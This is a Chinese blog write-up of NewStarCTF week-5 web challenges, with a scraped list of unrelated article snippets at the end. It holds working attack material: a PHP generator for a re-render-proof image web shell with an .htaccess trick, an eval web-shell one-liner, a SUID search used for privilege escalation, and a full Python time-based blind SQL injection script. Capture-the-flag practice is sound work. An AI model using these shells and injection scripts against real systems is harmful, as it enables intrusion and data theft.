NewStarCTF week5 web wp

2023-11-03

Give me your photo PLZ

进去后看内容
在这里插入图片描述
看这个文字意思应该是考的二次渲染

贴个利用代码
制作二次渲染后不会被修改的图片马
其实还可以自己比对哪块地方被修改了,然后插到没被修改的里面就行

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

http://1259b0a2-331e-4b4a-8335-f7278c7154b7.node4.buuoj.cn:81/upload/1.png
上传上去后,然后想了想 穿个.htaccess吧
内容是
AddType application/x-httpd-php .png
然后就可以了
在这里插入图片描述挺感动的
在这里插入图片描述在这里插入图片描述

Unsafe Apache

apache搜到一个cve 2021 42013
在这里插入图片描述
在这里插入图片描述调用cgi然后执行系统命令
在这里插入图片描述

So Baby RCE Again

<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/bash|curl/i',$_GET["cmd"])){
        echo "Hacker!";
    }else{
        shell_exec($_GET["cmd"]);
    }
}else{
    show_source(__FILE__);
}

题目给出的代码
shell_exec没有回显 禁了curl和反弹shell 我当时看了看感觉有点2
我为啥不直接重新写一个shell0.0
echo ‘<?php eval($_POST[a]);?>’ > 2.php
在这里插入图片描述在这里插入图片描述
没有权限提个权
先找找有root权限的命令
find /bin -perm -u=s -type f 2>/dev/null
在这里插入图片描述
有个date直接用
在这里插入图片描述

BabySSTI_Three

我一开始是想慢慢拆解的,可以看week3的那篇博客但是 我payload直接就打进去了,用的就是之前的payload
空格被禁了用${IFS}绕过
在这里插入图片描述
payload:
在这里插入图片描述

Final round

简单测试了一下发现可以盲注
直接贴我当时写的脚本吧
跑的时候是凭感觉了 感觉最后应该是flag放在最后面于是就reverse去读了
还真是这样逆一下就行了

import requests
import time

url='http://adfa764a-76cf-4c94-837c-dd43a80935b6.node4.buuoj.cn:81/comments.php'


def baoku():
    res = ''
    for i in range(1, 100):
        left = 32
        right = 128
        mid = (left + right) // 2
        while (left < right):
            payload = {
                'name':'3123||if(ascii(substr(database(),%d,1))<%d,sleep(0.3),0)'%(i,mid)
            }

            times=time.time()
            t = requests.post(url,data=payload)
            timee=time.time()
            keep=timee-times
            time.sleep(0.2)
            if keep>3:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2

        if mid <= 32 or mid >= 127:
            break
        res += chr(mid - 1)
        print(res)



def baobiao():
    res = ''
    for i in range(1, 100):
        left = 32
        right = 128
        mid = (left + right) // 2
        while (left < right):
            payload = {
                'name': '3123||if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d,sleep(0.3),0)' % (i, mid)
            }
            print(payload)
            times = time.time()
            t = requests.post(url, data=payload)
            timee = time.time()
            keep = timee - times
            time.sleep(0.2)
            if keep > 3:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2

        if mid <= 32 or mid >= 127:
            break
        res += chr(mid - 1)
        print(res)
def baoduan():
    res = ''
    for i in range(1, 100):
        left = 32
        right = 128
        mid = (left + right) // 2
        while (left < right):
            payload = {
                'name': '3123||if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="wfy_information")),%d,1))<%d,sleep(0.1),0)' % (i, mid)
            }
            print(payload)
            times = time.time()
            t = requests.post(url, data=payload)
            timee = time.time()
            keep = timee - times
            time.sleep(0.2)
            if keep > 1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2

        if mid <= 32 or mid >= 127:
            break
        res += chr(mid - 1)
        print(res)
def baozhi():
    res = ''
    for i in range(1, 100):
        left = 32
        right = 128
        mid = (left + right) // 2
        while (left < right):
            payload = {
                'name': '3123||if(ascii(substr((select(reverse(group_concat(text)))from(wfy_comments)),%d,1))<%d,sleep(0.2),0)' % (i, mid)
            }
            print(payload)
            times = time.time()
            t = requests.post(url, data=payload)
            timee = time.time()
            keep = timee - times
            time.sleep(0.2)
            if keep > 2:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2

        if mid <= 32 or mid >= 127:
            break
        res += chr(mid - 1)
        print(res)
baozhi()

其实写的有点冗余了,但是我都这么写了因为懒得删0.0
然后得到后
flag[::-1]就可以啦
在这里插入图片描述在这里插入图片描述

题目质量可以也是比较符合NewStarCTF 祝各位安全学习者从业者能在接下来的道路上一帆风顺!!
(高兴一下哈哈最后排名结算是30多名这个比赛感觉还挺好,主要本来还想练一下misc的但是都忘记写misc的题了不然感觉应该排名还能冲一冲)

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

NewStarCTF week5 web wp 的相关文章

随机推荐

  • MySQL启动过程中的问题

    1 创建my ini 进入MySQL的安装目录 创建配置文件my ini配置文件 写入内容 mysql 设置mysql客户端默认字符集 default character set utf8 mysqld 设置3306端口 port 3306
  • easyExcel设置水印

    1 依赖导入
  • Linux命令入门教程(五):系统管理篇

    Linux系统管理 包括权限管理 网络配置 软件安装 各类参数设置 开关机 系统运行状态等 5 1 权限管理 在linux系统中 用户类别有超级用户和普通用户 只有一个超级用户root 普通用户可以有多个 最根本的区别就是权限不同 在lin
  • iOS17可以更新了!网友实测炫酷值拉满,但续航嘛…

    丰色 发自 凹非寺量子位 公众号 QbitAI iOS 17终于来了 今天凌晨正式推送 有数码博主评价 实用性不高 但酷炫值拉满 旺柴 可以说是一句话概括了 不过有测评发现 更新后续航掉依然的厉害 特别是iPhone XR 可得谨慎了 还登
  • 关于代理抓包,ssl pinning解决方案

    详情见我的博客小生博客 抓包 代理抓包 Fiddler charles能抓http https websocket属于应用层 优点 配置简单 抓取解析ssl方便 缺点 app对代理抓包的检测越发厉害 https http是明文传播 易被修改
  • 轻松搭建基于 SpringBoot + Vue 的 Web 商城应用

    首先介绍下在本文出现的几个比较重要的概念 函数计算 Function Compute 函数计算是一个事件驱动的服务 通过函数计算 用户无需管理服务器等运行情况 只需编写代码并上传 函数计算准备计算资源 并以弹性伸缩的方式运行用户代码 而用户
  • ajax.request,ajaxrequest.js ajaxrequest 0.7最新版 使用AJAXRequest进行AJAX应用程序开发入门小技巧...

    使用AJAXRequest进行AJAX应用程序开发 1 初识AJAXRequest 前言 在发布了AJAXRequest类的几个版本之后 渐渐地有许多朋友用上了它 也有许多朋友问我有没有更详细的说明和示例 不过因为时间的问题以及我能想到的示
  • ClamAV 详解

    1 ClamAV介绍Clam AntiVirus是一个类UNIX系统上使用的反病毒软件包 主要应用于邮件服务器 采用多线程后台操作 可以自动升级病毒库 ClamAV是一个在命令行下查毒软件 因为它不将杀毒作为主要功能 默认只能查出您计算机内
  • 微信小程序canvas生成图片并保存

    需求 做一个类似下图的功能 图片内容是动态的 用canvas画出来 生成临时图片 再保存 实现
  • Python中的isinstance()函数

    1 描述 Python中的 isinstance 函数 是Python中的一个内置函数 用来判断一个函数是否是一个已知的类型 类似 type 2 语法 isinstance object classinfo 参数 object 实例对象 c
  • Servlet工作原理

    文章目录 一 Servlet是什么 二 相关接口 三 Servlet的工作流程 四 Servlet的生命周期 总结 一 Servlet是什么 Servlet 类是 JavaWeb 的三大组件之一 它属于动态资源 是一组 Tomcat 提供给
  • Thread的API介绍

    join 等待当前线程执行完成之后 再执行接下来的语句 如下面的例子所示 在t1线程启动完之后 调用t1 join 的方法 那么会在这里阻塞住 直到t1线程执行完之后 才会继续执行下面的语句 public class RunnableJob
  • 什么是MTTF、MTBF、MTRF?

    1 MTTF 全称是Mean Time ToFailure 即平均失效时间 系统平均能够正常运行多长时间 才发生一次故障 系统的可靠性越高 平均无故障时间越长 2 MTBF 全称是Mean Time BetweenFailure 即平均无故
  • lisp编译器_200行代码实现超轻量级编译器

    前言 本篇内容主要由 https github com jamiebuilds the super tiny compiler 中的注释翻译而来 该项目实现了一款包含编译器核心组成的极简的编译器 希望能够给想要初步了解编译过程的同学提供到一
  • 2021-02-06

    DVWA SQL Injection Blind SQL Injection SQL Injection 即SQL注入 是指攻击者通过注入恶意的SQL命令 破坏SQL查询语句的结构 从而达到执行恶意SQL语句的目的 SQL注入漏洞的危害是巨
  • Qt项目中出现的问题小结

    Qt项目中出现的问题小结 写在前面 总结这个星期自学Qt踩过的一些坑 并不包含所有问题 仅仅是基于自己所做的小界面而言 文章目录 Qt项目中出现的问题小结 1 Qt中文乱码 2 关于Qt调用vs编译的dll控件 3 关于动态链接库导出类与函
  • xss靶场挑战之旅总结

    第一关 没有做任何的过滤 我们试下 第二关 我们用 gt 有转义 参考HTML的转义 输入的 gt lt 被做了转义处理 变成了 gt lt 我们用javascript里边的oninput事件试试 我们用12 ninput alert 12
  • 利用 Redis 构建全文索引组件

    文章目录 前言 一 反向索引 二 实现代码 前言 数据库文章全文搜索中我们很少使用 like 查询 因为假设使用包含查询 我们需要对每个检索词每一篇文章的每个单词进行遍历 检索的时间复杂度则会达到 o n三次方 通常 我们会直接使用 ela
  • 线性插值方法介绍及图像缩放

    1 线性插值 设函数 y f x y f x y f x 在两点
  • NewStarCTF week5 web wp

    Give me your photo PLZ 进去后看内容 看这个文字意思应该是考的二次渲染 贴个利用代码 制作二次渲染后不会被修改的图片马 其实还可以自己比对哪块地方被修改了 然后插到没被修改的里面就行